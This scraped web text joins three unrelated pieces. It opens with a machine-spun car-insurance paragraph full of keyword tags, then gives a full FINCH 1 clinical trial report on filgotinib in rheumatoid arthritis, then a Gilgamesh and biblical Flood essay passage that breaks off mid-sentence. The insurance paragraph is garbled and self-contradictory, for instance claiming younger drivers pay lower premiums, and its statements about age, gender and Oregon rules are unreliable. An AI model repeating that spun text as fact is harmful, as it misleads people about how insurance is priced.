Practically four periods up to a thirty-year-outdated. Inexperience is another main component, as youthful young adults usually tend to go into incidents. By comprehension what things influence your rates, you are able to negotiate decreased fees yourself. Listed under are many of the ways that age influences your vehicle insurance. Usually, the more youthful you might be, the decrease your premiums will probably be. But In case you are a person, age does have an effect on the cost of auto insurance. Though youthful male drivers spend a lot less than their more mature counterparts, rates for motorists in their sixties and seventies skyrocket. Statistically, males are two plus a 50 percent times as likely to be associated with a car crash than Women of all ages, And so the gender hole decreases with age.(coverage selections)(homeowners insurance policies) The reality that a person can pay an increased high quality for car or truck insurance policy than a woman just isn’t solely astonishing. Numerous men make very poor choices when driving, causing much more incidents and statements. Nevertheless, There are several elements which make Adult males costlier to insure. Here are a few of the very best main reasons why. Please read on to discover more about the most well-liked variables that have an impact on vehicle insurance policies rates by gender. And when you are still perplexed, consider the following tips for decreasing your rates.(vehicle coverage guidelines)(auto insurance plan quote)(vehicle insurance coverage charge) The Oregon Division of monetary Regulation has instructed auto insurers to accommodate people who You should not specify their gender. Discrimination versus non-binary people today can be grounds for unfair discrimination rates, and insurers should file premiums for those motorists starting in January 2019. These premiums can be better than All those for male and woman motorists. So long as they don’t seem to be extreme, Females should be able to spend less. Also, don’t worry in regards to the “non-binary” fee for youthful motorists.(car insurance policies declare)(gap insurance)(car coverage)

Article Text Abstract Objective To evaluate the efficacy and safety of the Janus kinase-1-preferential inhibitor filgotinib versus placebo or tumour necrosis factor-α inhibitor therapy in patients with active rheumatoid arthritis (RA) despite ongoing treatment with methotrexate (MTX). Methods This 52-week, multicentre, double-blind, placebo-controlled and active-controlled phase III trial evaluated once-daily oral filgotinib in patients with RA randomised 3:3:2:3 to filgotinib 200 mg (FIL200) or filgotinib 100 mg (FIL100), subcutaneous adalimumab 40 mg biweekly, or placebo (through week 24), all with stable weekly background MTX. The primary endpoint was the proportion of patients achieving 20% improvement in American College of Rheumatology criteria (ACR20) at week 12. Additional efficacy outcomes were assessed sequentially. Safety was assessed from adverse events and laboratory abnormalities. Results The proportion of patients (n=1755 randomised and treated) achieving ACR20 at week 12 was significantly higher for FIL200 (76.6%) and FIL100 (69.8%) versus placebo (49.9%; treatment difference (95% CI), 26.7% (20.6% to 32.8%) and 19.9% (13.6% to 26.2%), respectively; both p<0.001). Filgotinib was superior to placebo in key secondary endpoints assessing RA signs and symptoms, physical function and structural damage. FIL200 was non-inferior to adalimumab in terms of Disease Activity Score in 28 joints with C reactive protein ≤3.2 at week 12 (p<0.001); FIL100 did not achieve non-inferiority. Adverse events and laboratory abnormalities were comparable among active treatment arms. Conclusions Filgotinib improved RA signs and symptoms, improved physical function, inhibited radiographic progression and was well tolerated in patients with RA with inadequate response to MTX. FIL200 was non-inferior to adalimumab. Trial registration number NCT02889796. - arthritis - rheumatoid - antirheumatic agents - therapeutics? Methotrexate (MTX) is the recommended initial treatment for rheumatoid arthritis, with tumour necrosis factor α inhibitors (TNFαi) as common second-line therapy in patients with inadequate response. Oral therapies that match or exceed TNFαi efficacy in this population are still needed. Filgotinib—a once-daily, oral, Janus kinase-1-preferential inhibitor—with or without MTX is superior relative to placebo treatment in patients with rheumatoid arthritis with inadequate response to MTX or prior biologic failure. What does this study add? This is the first study to evaluate filgotinib compared with TNFαi standard therapy or placebo with stable background MTX in patients with rheumatoid arthritis with inadequate response to MTX but without prior biologic failure, and to include a radiographic endpoint. Filgotinib treatment reduced rheumatoid arthritis signs and symptoms, improved physical function, inhibited radiographic progression and appeared well tolerated for up to 52 weeks in this population. How might this impact on clinical practice or future developments? Filgotinib with background MTX could be considered a treatment option in patients with rheumatoid arthritis with inadequate response to MTX. Introduction Scientific innovations have changed the landscape of rheumatoid arthritis (RA) treatment. The cornerstone of RA treatment remains disease-modifying antirheumatic drugs (DMARDs), including conventional synthetic DMARDs (csDMARDs), of which methotrexate (MTX) is the gold standard, and biologic DMARDs (bDMARDs) such as those targeting cytokines (eg, tumour necrosis factor α (TNFα), interleukin 6 or interleukin 1) and B or T cells. Availability of TNFα inhibitors (TNFαi) in the late 1990s, non-TNFαi biologics in the 2000s and recently the targeted synthetic DMARDs has helped to reduce disease severity in patients with RA. Advances in RA management have further improved patient outcomes by focusing on treat-to-target strategies, pain and inflammation reduction, and administration convenience, in addition to efficacy and safety.1 2 Despite this focus, many patients do not achieve long-term responses with currently available therapies3; in one study, only 10%–21% of patients initiating csDMARDs and 12%–24% initiating TNFαi therapy achieved remission within 12 months.4 Potential innovations that may further improve patient outcomes in RA include new oral therapies that perform as well as, or better than, existing standard of care (SOC), particularly in patients with intolerance or inadequate response to bDMARDs (bDMARD-IR). The FINCH phase 3 programme was developed to study filgotinib, a Janus-associated kinase (JAK)-1-preferential inhibitor, for RA treatment. In FINCH 2, filgotinib significantly improved efficacy versus placebo in bDMARD-IR patients with active RA.5 FINCH 3 examined filgotinib use in patients with MTX-naïve RA. To address the MTX-IR population, the FINCH 1 study examined filgotinib versus placebo or adalimumab, all with background MTX, in MTX-IR patients with active RA. Methods Study design and conduct This randomised, double-blind, 52-week, placebo-controlled and active-controlled phase III trial was conducted at 303 sites in 30 countries from 30 August 2016 to 20 June 2019. The protocol and statistical analysis plan are provided in online supplemental files 1–3. All patients provided written informed consent. An independent data monitoring committee reviewed safety data periodically. An independent adjudication committee periodically reviewed all potential major cardiovascular adverse events (MACE) and thromboembolic events. Supplemental material Supplemental material Supplemental material Study participants Eligible patients were ≥18 years old at the time of consent and met the 2010 American College of Rheumatology (ACR)/European League Against Rheumatism criteria for RA diagnosis.6 Patients had active moderate-to-severe RA, defined as ≥6 swollen joints and ≥6 tender joints (both at screening and on day 1 despite ongoing MTX treatment for ≥12 weeks and stable at 7.5–25 mg/week for ≥4 weeks). Additional inclusion criteria were seropositivity for anticyclic citrullinated peptide (anti-CCP) antibodies or rheumatoid factor (RF); ≥1 joint erosion on hand/wrist and foot radiographs, or ≥3 erosions if negative for RF and anti-CCP; or serum C reactive protein (CRP) ≥6 mg/L. Key exclusion criteria included previous use of JAK inhibitors (JAKi) or adalimumab, prior non-response or intolerance to any bDMARD, and recent use of csDMARDs other than MTX or stably dosed hydroxychloroquine or chloroquine; concomitant, stably dosed non-steroidal anti-inflammatory drugs or glucocorticoids (≤10 mg/day prednisone/equivalent) were permitted. Interventions Eligible patients were randomly assigned (3:3:2:3) to oral filgotinib 200 mg (FIL200) or filgotinib 100 mg (FIL100) once daily, subcutaneous adalimumab 40 mg every 2 weeks, or placebo, all with stable background MTX; other concomitant medications were to be kept stable as much as possible. Study participants were blinded to treatment and received placebo tablets matching FIL200 and/or FIL100; patients not assigned to active adalimumab received matching placebo injections. At week 24, placebo-treated patients were rerandomised (1:1) to FIL200 or FIL100 and continued background MTX. Per protocol, patients without adequate treatment response (<20% improvement from baseline in either swollen joint count 66 or tender joint count 68) at week 14 or two consecutive visits after week 30 discontinued study treatment but continued study visits, using investigator-specified SOC RA therapy. Endpoints and assessments The primary efficacy endpoint was ACR20 response (20% improvement in ACR criteria)7 at week 12. Key secondary efficacy endpoints tested hierarchically at week 12 (unless otherwise specified) were change from baseline score on the Health Assessment Questionnaire-Disability Index (HAQ-DI),8 9 proportion of patients with Disease Activity Score in 28 joints with CRP (DAS28(CRP)) <2.6,10 change from baseline van der Heijde modified total Sharp score (mTSS)11 at week 24 (radiographic assessment details in online supplemental methods), non-inferiority of filgotinib versus adalimumab for a proportion of patients with DAS28(CRP) ≤3.2, change from baseline Short Form-36 Physical Component Summary12 and Functional Assessment of Chronic Illness Therapy-Fatigue score,13 superiority of filgotinib versus adalimumab for a proportion of patients with DAS28(CRP) ≤3.2, non-inferiority of filgotinib versus adalimumab for a proportion of patients with DAS28(CRP) <2.6, and superiority of filgotinib versus adalimumab for a proportion of patients with DAS28(CRP) <2.6. Other secondary endpoints included ACR50/70; low disease activity defined as Clinical Disease Activity Index (CDAI) ≤10 or Simplified Disease Activity Index (SDAI) ≤1114; and remission defined as CDAI ≤2.8, SDAI ≤3.3 or Boolean remission.15 Safety was assessed from laboratory tests and adverse events (AEs). Positively adjudicated MACE and thromboembolic events were reported. Supplemental material Statistical analysis A sample size of 450 patients per filgotinib and placebo group was estimated to provide >90% power at a two-sided α of 0.05 to test the superiority of FIL200 versus placebo for change from baseline mTSS at week 24, based on other RA studies with radiography.16–18 This sample size also provided >95% power to detect a 20% difference in ACR20 for filgotinib versus placebo. Assuming similar DAS28(CRP) ≤3.2 response rates for filgotinib and adalimumab, approximately 300 adalimumab-treated patients were required to ensure >90% power at a two-sided α of 0.05 to demonstrate non-inferiority of FIL200 versus adalimumab. Consistent with regulatory guidance, non-inferiority assessments were based on the method of Liu et al,19 which does not require a prespecified fixed non-inferiority margin or constancy and assay sensitivity assumptions.20 Non-inferiority testing assessed whether the effect of each filgotinib dose (response rate difference between filgotinib and placebo) preserves >50% of the effect of adalimumab (difference in response rate between adalimumab and placebo). The 50% non-inferiority margin of DAS28(CRP) ≤3.2 and <2.6 at weeks 12 and 24 based on FINCH 1 data are presented in online supplemental table S1. Type I error rate was controlled by hierarchical testing of primary and key secondary endpoints at a two-sided α of 0.05 (online supplemental figure S1). The primary analysis tested the superiority of FIL200 versus placebo for ACR20 at week 12 using a logistic regression model, with treatment and stratification factors included as covariates. Hypothesis testing for key secondary endpoints commenced only after the primary endpoint reached statistical significance and proceeded sequentially until a null hypothesis was not rejected, after which exploratory p values are reported for the remaining hypotheses. All analyses were based on data from patients who received ≥1 dose of study drug. For binary endpoints, a logistic regression model including treatment and stratification factors (geographical region, prior exposure to bDMARDs, and RF or CCP antibody positivity at screening) was used. Treatment effect on continuous endpoint change from baseline was evaluated using a mixed-effects model for repeated measures, with treatment, visit, treatment by visit interaction, stratification factors and baseline value included as fixed effects and subject as a random effect. Patients who required rescue therapy or had missing values were defined as non-responders, and non-responder imputation (NRI) was employed for primary and key secondary binary endpoint analyses. Multiple imputation was conducted to determine the impact of NRI on the robustness of results (online supplemental methods and table S2).21 22 Safety analyses of AEs and laboratory data were summarised by treatment group using descriptive statistics. Patient and public involvement Patients and the public were not involved in the design, conduct, reporting or dissemination of this research. Results Study participants A total of 1755 patients received study treatment (enrolment by country; online supplemental figure S2), and 87.4% completed the study visits through the 24-week placebo-controlled period. The reasons for discontinuation are summarised in figure 1. At week 14, 4.8% of FIL200-treated, 6.0% of FIL100-treated, 4.0% of adalimumab-treated and 8.6% of placebo-treated patients had inadequate response to treatment and were mandated to SOC. After week 24, four patients receiving FIL200, three receiving FIL100, three receiving adalimumab and two in each placebo-to-filgotinib arm discontinued study drug due to lack of efficacy. Baseline demographics, concomitant medications and disease characteristics were similar among the treatment arms (table 1). Baseline demographics and disease characteristics Patient disposition. *23 (4.8%) patients treated with filgotinib 200 mg, 29 (6.0%) patients treated with filgotinib 100 mg, 13 (4.0%) patients treated with adalimumab, and 41 (8.6%) patients treated with placebo did not have adequate response to treatment per protocol at week 14. †3 (0.7%) patients treated with filgotinib 200 mg, 2 (0.5%) patients treated with filgotinib 100 mg, 3 (1.0%) patients treated with adalimumab, 0 patient treated with placebo and rerandomised to filgotinib 200 mg at week 24, and 4 (2.2%) patients treated with placebo and rerandomised to filgotinib 100 mg at week 24 failed to maintain response to treatment per protocol after week 30. ADA, adalimumab; FIL, filgotinib; PBO, placebo; W, week. Efficacy ACR20 responses at week 12 were significantly greater in patients receiving filgotinib versus placebo: 76.6% for FIL200 and 69.8% for FIL100 vs 49.9% for placebo (all p<0.001) (table 2, figure 2A). Significant improvements at week 12 with filgotinib versus placebo treatment were also observed in key secondary endpoints, including HAQ-DI and DAS28(CRP) <2.6 (all p<0.001) (table 2). Radiographic progression of structural joint damage was significantly reduced in both filgotinib dose arms versus placebo at week 24 (p<0.001 for FIL200; p=0.001 for FIL100) (figure 3). FIL200 was non-inferior to adalimumab at week 12 for DAS28(CRP) ≤3.2 (p<0.001); FIL100 did not achieve non-inferiority versus adalimumab for this measure (p=0.054) (table 2). Primary and key secondary efficacy outcomes during the placebo-controlled period* Proportions of patients achieving (A) ACR20, (B) ACR50 and (C) ACR70 through week 52. Error bars show 95% CI. Additional statistical details are available in online supplemental table S3 and all response rates in online supplemental table S7. **p<0.01, ***p<0.001 versus PBO, not adjusted for multiplicity and should be considered exploratory except for ACR20 for FIL200 and FIL100 versus PBO at week 12. +p<0.05, ++p<0.01,+++p<0.001 versus ADA, not adjusted for multiplicity and should be considered exploratory. ACR20/50/70, 20%/50%/70% improvement from baseline by the American College of Rheumatology core criteria; ADA, adalimumab; FIL100, filgotinib 100 mg; FIL200, filgotinib 200 mg; PBO, placebo. Radiographic progression through week 24. (A) mTSS change from baseline, (B) erosion score change from baseline and (C) joint space narrowing change from baseline. Data from campaign A (through week 24) are shown. Supporting data are shown in online supplemental table S4. Patient numbers at each time point in (B) and (C) are the same as for (A). Error bars represent the SE of the LS mean. *p<0.05, **p<0.01, ***p<0.001 versus PBO, not adjusted for multiplicity and should be considered exploratory except for mTSS change from baseline following FIL200 and FIL100 versus PBO at week 24. Difference for mTSS change from baseline at week 24 following treatment with FIL200 or FIL100 versus ADA was explored and was not significant for either dose. ADA, adalimumab; FIL100, filgotinib 100 mg; FIL200, filgotinib 200 mg; LS, least-squares; mTSS, van der Heijde modified total Sharp score; PBO, placebo. The remaining key secondary endpoints were not adjusted for multiplicity and are presented as exploratory analyses (table 2). ACR50/70 responses at week 12 were higher following FIL200 (47.2%/26.1%), FIL100 (36.5%/18.5%) or adalimumab (35.1%/14.2%) compared with placebo (19.8%/6.7%) (figure 2B,C). Response rates for DAS28(CRP) ≤3.2 at week 12 were higher in both filgotinib dose arms and placebo (table 2). Patients receiving filgotinib achieved higher rates of remission and low disease activity across several composite disease measures (DAS28(CRP), CDAI, SDAI, Boolean remission) versus placebo at weeks 12 and 24 (figure 4A,B). Filgotinib efficacy was sustained through week 52 (figures 2A–C and 4A,B, online supplemental tables S3 and S4, figure S3). Proportions of patients achieving (A) low disease activity and (B) DAS28(CRP) <2.6 or remission at weeks 12, 24 and 52. Error bars show 95% CI. Additional statistical details are available in online supplemental table S3. *p<0.05, **p<0.01, ***p<0.001 versus placebo, not adjusted for multiplicity and should be considered exploratory except for FIL200 and FIL100 versus placebo for DAS28(CRP) <2.6 at week 12. #Non-inferior versus adalimumab. +p<0.05, ++p<0.01, +++p<0.001 versus ADA, not adjusted for multiplicity and should be considered exploratory. ADA, adalimumab; Boolean, Boolean remission; CDAI, Clinical Disease Activity Index; DAS28(CRP), Disease Activity Score in 28 joints with C reactive protein; FIL100, filgotinib 100 mg; FIL200, filgotinib 200 mg; PBO, placebo; SDAI, Simplified Disease Activity Index. Changes from baseline in ACR and DAS28(CRP) components at week 12 were generally consistent with the primary and key secondary efficacy outcomes, although the effect of FIL versus adalimumab or placebo treatment was more pronounced for high-sensitivity CRP compared with other measures (online supplemental table S5). However, in post-hoc exploratory analyses, FIL200 was non-inferior to adalimumab for CDAI low disease activity and remission at weeks 12 and 24 (online supplemental table S3). In a subanalysis of proportion of patients achieving ACR20 at week 12 across countries, the placebo response rate ranged from 36.8% to 59.2% and was highest in group B (predominantly Eastern Europe) and group C (Mexico and Argentina) (online supplemental table S6). Safety Treatment-emergent AEs (TEAEs) are presented in table 3. The incidence of serious TEAEs during the active-controlled period through week 52 was similar among all original active treatment arms and in patients rerandomised from placebo to filgotinib. During the placebo-controlled period, malignancy (excluding non-melanoma skin cancer) was reported in five patients: one (0.2%), one (0.3%) and three (0.6%) patients receiving FIL100, adalimumab and placebo, respectively. Venous thromboembolism (VTE) was reported in three patients: one (0.2%) receiving FIL200 and two (0.4%) receiving placebo. Adjudicated MACE occurred in four patients: one (0.2%) receiving FIL100, one (0.3%) receiving adalimumab and two (0.4%) receiving placebo. All patients with VTE and MACE had at least one risk factor, and no patient with deep vein thrombosis (DVT) or pulmonary embolism had a platelet count measurement above 600×109/L. Treatment-emergent adverse events through week 24 and week 52 Through week 24, death was reported in five patients: two (0.4%) receiving FIL200 (both attributed to septic shock), one (0.2%) receiving FIL100 (myocardial infarction) and two (0.4%) receiving placebo (one toxic reaction to amoxicillin/clavulanic acid and one non-TEAE septic shock). Four additional deaths occurred in the active-controlled period: one patient receiving FIL200 (alveolitis), one receiving adalimumab (sepsis), one placebo-treated patient rerandomised to FIL200 (acute DVT) and one placebo-treated patient rerandomised to FIL100 (primary varicella). Additional details of the DVT-associated and primary varicella-associated deaths are provided in online supplemental results. Overall, infectious and serious infectious TEAEs occurred more frequently in patients receiving filgotinib or adalimumab versus placebo through week 24. Serious infections occurring in >2 patients were pneumonia (13 patients), cellulitis (3 patients) and bronchitis (3 patients). Through week 24, herpes zoster (excluding primary varicella) occurred in all treatment arms in 0.4% of patients receiving either filgotinib dose or placebo and in 0.6% of patients receiving adalimumab. Through week 52, serious infections occurred in 2.7%, 2.7% and 3.1% and herpes zoster occurred in 1.3%, 0.8% and 0.6% of patients receiving FIL200, FIL100 and adalimumab, respectively. In 14% of patients randomised in Asia (online supplemental figure S2), the frequency of herpes zoster was 1%, 3% and 0% for patients receiving FIL200, FIL100 and adalimumab, respectively, through week 52, and 2% in placebo-treated patients through week 24. Both reported opportunistic infections were in patients receiving adalimumab: one patient with Pneumocystis jirovecii pneumonia before week 24 and one patient with active Mycobacterium tuberculosis after week 24. Grade 3/4 changes in laboratory values are shown in table 4. Mean haemoglobin levels were stable or increased across all treatment arms, with no imbalance in individual decreased haemoglobin events or grade 3 changes. Decreases in neutrophil and lymphocyte levels were seen in filgotinib-treated and adalimumab-treated patients. Grade ≥3 lymphopaenia and neutropaenia were more frequent in patients receiving filgotinib versus placebo. The majority of white cell count abnormalities were grade 1/2, not associated with infection, and resolved at follow-up testing. No grade ≥3 changes in platelet counts were observed. Higher mean creatinine levels were observed in patients receiving filgotinib versus adalimumab or placebo. Grade 3/4 serum creatinine elevations were reported in three patients: one receiving FIL100 and two receiving placebo, all before week 24. Mean creatine kinase and low-density lipoprotein (LDL) and high-density lipoprotein (HDL) cholesterol levels were increased in patients treated with filgotinib versus placebo, without meaningful change in the LDL to HDL cholesterol ratio. Laboratory values and grade ≥3 abnormalities through week 24 and week 52 Discussion The FINCH 1 study assessed filgotinib, an oral JAK-1-preferential inhibitor, to address the unmet needs for RA treatment in MTX-IR patients. Two doses of filgotinib were compared with adalimumab and placebo, all with background MTX. Both filgotinib doses were superior to placebo for ACR20 response and hierarchical key secondary endpoints evaluating signs and symptoms, physical function and structural damage. Although conclusions are limited for tests without multiplicity adjustment, proportions of patients achieving various measures of low disease activity and remission were generally consistent with DAS28(CRP) <2.6 and DAS28(CRP) ≤3.2 response results. These phase III results confirm those of two phase II studies investigating filgotinib with or without MTX versus placebo in MTX-IR patients23 24 and a phase III study (FINCH 2) in bDMARD-refractory patients,5 and are consistent with the results for other JAKis in MTX-IR patients with RA.18 25 26 FIL200 efficacy was statistically non-inferior to adalimumab for a proportion of patients with DAS28(CRP) ≤3.2 at week 12, a treat-to-target checkpoint,2 15 and remained non-inferior in exploratory analyses of CDAI low disease activity and remission, suggesting direct effects of JAK inhibition on high-sensitivity CRP did not impact FIL200 treatment effect. FIL100 did not attain statistical significance for non-inferiority to adalimumab for DAS28(CRP) ≤3.2 at week 12 in hierarchical testing, resulting in loss of multiplicity adjustment for subsequent comparisons and limiting possible conclusions. Filgotinib efficacy generally compared favourably with adalimumab, consistent with a recent systematic review on the efficacy of bDMARDs and JAKis in RA.27 Filgotinib benefits must be considered in the context of risks. In this study, serious TEAEs and discontinuations due to TEAEs were similar among treatment arms through week 24. Safety data remained consistent over the entire 52-week study. Adjudicated MACE and VTE were observed in all treatment arms at frequencies similar to reported background rates in patients with RA28 29; VTE remains a concern for the JAKi class.30 Infections were increased in patients treated with FIL200 versus placebo, with similar rates of serious infections across active treatment groups. The frequency of herpes zoster was low and similar across all groups through week 24; the number of uncomplicated cases increased slightly after week 24 in the filgotinib versus adalimumab treatment arms. The low frequency of herpes zoster does not appear attributable to geography; the proportion of FINCH 1 patients enrolled in Asian countries (14%) was comparable relative to similar JAKi studies (3%–18%).25 26 31 No cases of opportunistic infection or tuberculosis were observed in filgotinib-treated patients. Rates of AEs in filgotinib-treated patients were consistent with or below those from a recent meta-analysis on JAKi treatment in RA.32 Filgotinib was associated with decreases in neutrophil, lymphocyte and platelet counts and increases in lipid, creatine kinase and creatinine levels, as previously reported for filgotinib and other JAKis.5 18 23–26 There were small numerical differences in frequencies of grade 3/4 neutropaenia and lymphopaenia in patients treated with filgotinib versus placebo. Treatment with filgotinib was associated with small increases in fasting total, LDL and HDL cholesterol without affecting fasting LDL to HDL ratio, consistent with the hypothesis that JAKi treatment suppresses elevated cholesterol ester catabolism in patients with active RA and normalises their cholesterol levels towards the range in healthy volunteers.33 Limitations The study excluded patients with prior bDMARD failure, so data cannot be extrapolated to bDMARD-experienced patients; filgotinib was previously compared with placebo in this population.5 Generalisability to patients with less active RA is potentially limited because the study enrolled patients with moderate-to-severe disease. Placebo treatment was limited to 24 weeks due to ethical concerns. An elevated placebo response was observed, consistent with RA trial data showing increasing placebo rates over the last 20 years.34 In the present study, placebo response rates were especially high in geographical group B (predominantly Eastern Europe) and group C (Mexico and Argentina); as these groups comprised 65% of randomised patients, the regional differences contributed substantially to the overall placebo response rate. Nearly 50% of placebo-treated patients achieving study endpoints present a challenge to differentiating active agents from placebo. The study was not powered to compare AEs between arms, so no definitive conclusions about safety can be reached. Additional safety data will come from the integrated safety analysis across all phase II and III filgotinib trials, long-term extension study (ClinicalTrials.gov NCT03025308) and future registries. Conclusions In MTX-IR patients with active RA, filgotinib plus MTX reduced RA signs and symptoms, improved physical function and inhibited progression of structural joint damage. This study demonstrated non-inferiority of FIL200 plus MTX, but not FIL100 plus MTX, to adalimumab plus MTX, based on DAS28(CRP) low disease activity. Overall, filgotinib showed a favourable benefit-to-risk profile and both doses were well tolerated.. Ethics statements Patient consent for publication Ethics approval The trial was conducted in accordance with the Declaration of Helsinki and the International Council for Harmonisation guidelines. The protocol was approved by the institutional review board or ethics committee at each site. Acknowledgments We thank all patients and their families and the FINCH 1 investigators/site staff. Medical writing assistance was provided by Judith M Phillips, DVM, PhD, of AlphaScientia, and Emmett Glass, PhD, MBA of Red Sky Medical, both funded by Gilead Sciences. References Supplementary materials Supplementary Data This web only file has been produced by the BMJ Publishing Group from an electronic file supplied by the author(s) and has not been edited for content. Footnotes Handling editor Josef S Smolen Presented at Results from interim data cuts were presented at the 2019 Annual European Congress of Rheumatology, Madrid, Spain (Combe et al, Ann Rheum Dis. 2019; 78(Suppl 2):77–8) and at the 2019 American College of Rheumatology Annual Meeting, Atlanta, Georgia (Combe et al, Arthritis Rheumatol. 2019; 71(Suppl 10):A506). The FINCH 1 data were presented virtually at the 2020 Annual European Congress of Rheumatology (Combe et al, Ann Rheum Dis. 2020; 79(Suppl 1):320–1). Contributors FM, NM, JSS, CT and MCG contributed to the study concept and design. FM and MCG contributed to drafting the manuscript. YG and LY performed the statistical analyses. NM and JSS obtained funding. BC, AK, YT, DvdH, JAS, HSBB, UK, FM, BB, LY, YG, CT, JSS, AJ, MCG, NM, RBML, S-CB, EK and PN contributed to acquisition, analysis or interpretation of data; had full access to the data; reviewed the manuscript critically for important intellectual content; and approved the final version for publication. Funding The study was funded by Gilead Sciences. Competing interests BC received honoraria from AbbVie, Bristol-Myers Squibb, Gilead Sciences, Janssen, Lilly, Merck, Novartis, Pfizer, Roche-Chugai, Sanofi and UCB; and research grants from Novartis, Pfizer and Roche. AK received honoraria or consulting fees from AbbVie, Boehringer Ingelheim, Flexion, Genzyme, Gilead Sciences, Janssen, Novartis, Pfizer, Regeneron, Sanofi and Sun Pharma Advanced Research; was a paid instructor or speaker for AbbVie, Celgene, Flexion, Genzyme, Horizon, Merck, Novartis, Pfizer, Regeneron and Sanofi; and holds shares in Amgen, Gilead Sciences, GlaxoSmithKline, Pfizer and Sanofi. YT has received speaking fees and/or honoraria from AbbVie, Asahi Kasei, Astellas, Bristol-Myers, Chugai, Daiichi Sankyo, Eisai, Eli Lilly, Gilead, GSK, Janssen, Mitsubishi Tanabe, Novartis, Pfizer, Sanofi and YL Biologics; and research grants from AbbVie, Chugai, Daiichi Sankyo, Eisai, Mitsubishi Tanabe, Takeda and UCB. DvdH received consulting fees from AbbVie, Amgen, Astellas, AstraZeneca, BMS, Boehringer Ingelheim, Celgene, Cyxone, Daiichi Sankyo, Eisai, Eli Lilly, Galapagos, Gilead, GlaxoSmithKline, Janssen, Merck, Novartis, Pfizer, Regeneron, Roche, Sanofi, Takeda and UCB Pharma; and is the Director of Imaging Rheumatology BV. JAS, UK and S-CB report nothing to disclose. HSBB has received honoraria or consulting fees from AbbVie, Gilead Sciences, Horizon and Merck; and research grants or support from AbbVie, Sanofi, Regeneron, Eli Lilly, Pfizer, Selecta Biosciences, Gilead Sciences, Horizon, Janssen and Pfizer. FM, BB, LY and YG are employees and shareholders of Gilead Sciences. MCG has received honoraria or consulting fees from AbbVie, Amgen, BeiGene, Genentech, Gilead Sciences, Lilly Pharmaceuticals, Sanofi Genzyme, RPharm and SetPoint. He is also an employee and shareholder of Gilead Sciences. CT is an employee and shareholder of Galapagos NV. JSS, AJ and NM are former employees of Gilead Sciences and may hold shares. RBML has received honoraria or consulting fees from AbbVie, AstraZeneca, Bristol-Myers Squibb, Eli Lilly, Galapagos NV, Novartis, Pfizer and UCB. EK has received honoraria or consulting fees from AbbVie, Amgen, AstraZeneca, Bristol-Myers Squibb, Celltrion, F Hoffmann-La Roche, Genentech, Gilead Sciences, Janssen, Lilly Pharmaceuticals, Merck, Myriad Autoimmune, Pfizer, Sandoz, Sanofi Genzyme and Samsung Bioepis; has received speaking fees from AbbVie, Amgen, Bristol-Myers Squibb, F Hoffmann-La Roche, Janssen, Merck, Pfizer, Sanofi Genzyme and UCB; and has received research grants or support from AbbVie, Amgen, Gilead Sciences, Lilly Pharmaceuticals, Merck, Pfizer, PuraPharm and Sanofi. PN has received honoraria or consulting fees, grants or research support, or been a member of a speakers bureau for AbbVie, Bristol-Myers Squibb, Celgene, Gilead Sciences, Janssen, Lilly, MSD, Novartis, Pfizer, Roche, Sanofi and UCB..

There. See Also: Gilgamesh (Routledge, 2019). By Louise M. Pryke Hebrew, Biblical, and Jewish Studies Sydney University November 2019 Introduction Gilgamesh is the headstrong hero of one of the world’s oldest epics, making him the literary “grandparent” of the many ancient and modern heroes that have followed. His story is recounted in the Epic of Gilgamesh, a literary masterpiece from ancient Mesopotamia. The Epic centers on the journey of the legendary Gilgamesh, a king traditionally described ruling over Uruk (an area in modern-day Iraq) around 2700 BCE. The modern rediscovery of the Epic was a watershed moment in the understanding of the Ancient Near East, one that would bring lasting change to the study of the Hebrew Bible. Legends of Gilgamesh have survived in numerous versions and languages, reflecting the popularity of his character throughout the ancient Near East and beyond. Fragmentary copies of the text have been discovered in archaeological excavations from Iraq to Turkey to Megiddo. It is generally accepted that biblical authors had knowledge of Gilgamesh’s story, which they used to create allusions and contrasts in the Hebrew Bible (O’Connell 1988, 413-414). A Timeless Story Gilgamesh is written in cuneiform script, considered to be the world’s oldest form of writing (although there is some competition from Egyptian sources). The disappearance of the cuneiform writing system around the time of the 1st century CE saw knowledge of the Epic slip into obscurity. For almost two millennia, clay tablets containing stories of Gilgamesh and his companions lay lost and buried alongside many tens of thousands of other cuneiform texts and beneath the ruins of the great Library of Ashurbanipal. In the Standard Babylonian Version, Gilgamesh leaves his home city of Uruk (in modern day Iraq) and travels with his best friend Enkidu to have many exciting adventures.. Enkidu dies midway through the story, and Gilgamesh must journey on alone to find the secret of eternal life through the path of the Sun, across the Water of Death. He finally meets Utanapishtim, the legendary survivor of the Great Flood. Utanapishtim cannot give Gilgamesh eternal life, but he tells him the location of a secret herb which will give him renewed youth. Gilgamesh finds the plant, but it is stolen by a snake before he can eat it. He then finally returns home, and the story ends. The Gilgamesh Epic was first translated by self-taught cuneiform scholar George Smith of the British Museum in 1872. Smith discovered the presence of an ancient Babylonian flood narrative in the text, which held striking parallels with the biblical flood story of the Book of Genesis. The story is often repeated (although it may be apocryphal) that when Smith began to decipher the tablet, he became so excited that he began to remove all his clothing. From the very inception of the study of the Gilgamesh Epic when George Smith first observed parallels with the biblical Flood, Gilgamesh has been contrasted and companioned with the Bible. In the prologue to his famous comparison of ancient Flood narratives, Heidel observed that the narratives of the Flood form the most overt parallels between the Hebrew Bible and the Gilgamesh Epic. Heidel stated that the Flood stories provide “the most remarkable parallels between the Old Testament and the entire corpus of cuneiform inscriptions from Mesopotamia” (Heidel 1946, 224). Decades after the publication of Heidel’s work, the situation remains the same, despite the rapid expansion of the field of Assyriology and numerous new discoveries (Tsumura 1994, 52). The Flood narratives of Gilgamesh and Genesis have inspired an abundance of scholarly research. The Epic of Gilgamesh is not the only well-known Mesopotamian text to involve a Flood narrative. The story of Atrahasis, considered to be one of the masterpieces of Babylonian literature, is known from several versions and thought to be an earlier account of the Flood (McKeown 2008, 16). It is generally accepted that Tablet XI of the Standard Babylonian Version of the Epic of Gilgamesh has been interpolated with a version of the Atrahasis story, with this addition perhaps added by Sin-leqi-unnini (George 2008). The emphasis here will be on the Flood narrative as it appears in Gilgamesh. Although the Flood narratives provide a starting point for scholarly consideration of the connection between Gilgamesh and the Hebrew Bible, other parts of Gilgamesh have also proven interesting subjects for academic work—although the parallels are by no means universally accepted. The search for the herb of rejuvenation in Gilgamesh and the theft of this plant by a snake has drawn comparisons with the biblical narrative of the forbidden fruit and the temptation by the serpent (Genesis 3). Further similarities have been suggested between the civilization of Enkidu by Shamhat and the civilization of Adam and Eve. As with the account of the Deluge, the search for Mesopotamian parallels with the story of Adam and Eve (Genesis 2-5) has been a feature of Gilgamesh’s reception from the time of George Smith. The Flood Stories In Tablet XI of the Epic of Gilgamesh, Utanapishtim (the Mesopotamian Flood survivor) recounts the story of the 